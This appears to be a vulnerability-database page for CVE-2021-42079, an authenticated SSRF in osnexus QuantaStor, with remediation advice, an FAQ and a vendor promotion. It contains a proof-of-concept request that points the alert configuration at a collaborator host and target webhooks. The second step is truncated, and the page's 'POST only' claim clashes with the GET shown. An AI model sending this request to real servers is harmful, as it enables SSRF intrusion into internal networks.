CVE-2021-42079
6.2 · MEDIUMOverview
CVE-2021-42079 is a medium-severity vulnerability affecting osnexus quantastor. It was published on July 10, 2023 and has a CVSS 3.1 base score of 6.2 (MEDIUM).
This vulnerability has a CVSS 3.1 base score of 6.2, rated MEDIUM. It can be exploited remotely over the network. Some level of privileges is required for exploitation.
Technical Description
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert w
Remediation
Check the references section for vendor advisories and patches from osnexus. Update quantastor to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.
Affected Products
| Vendor | Product | Versions | Status |
|---|---|---|---|
| osnexus | quantastor | >= 0, < 6.0.0.355 | Affected |
References
Frequently Asked Questions
What is CVE-2021-42079?
CVE-2021-42079 is a medium-severity vulnerability affecting osnexus quantastor. It was published on July 10, 2023 and has a CVSS 3.1 base score of 6.2 (MEDIUM).
How severe is CVE-2021-42079?
This vulnerability has a CVSS 3.1 base score of 6.2, rated MEDIUM. It can be exploited remotely over the network. Some level of privileges is required for exploitation.
How do I fix or remediate CVE-2021-42079?
Check the references section for vendor advisories and patches from osnexus. Update quantastor to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.
How can CyberStrike help with CVE-2021-42079?
CyberStrike's AI-powered security agents can automatically detect CVE-2021-42079 across your infrastructure using autonomous pentesting, DAST scanning, and HackBrowser. The platform continuously monitors for known vulnerabilities and provides actionable remediation guidance prioritized by real-world exploitability.
How CyberStrike Helps
AI agents map your attack surface to find vulnerabilities like this one.
Automated penetration testing that runs continuously, not just quarterly.
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Browser-based exploitation validates findings with real proof-of-concept.
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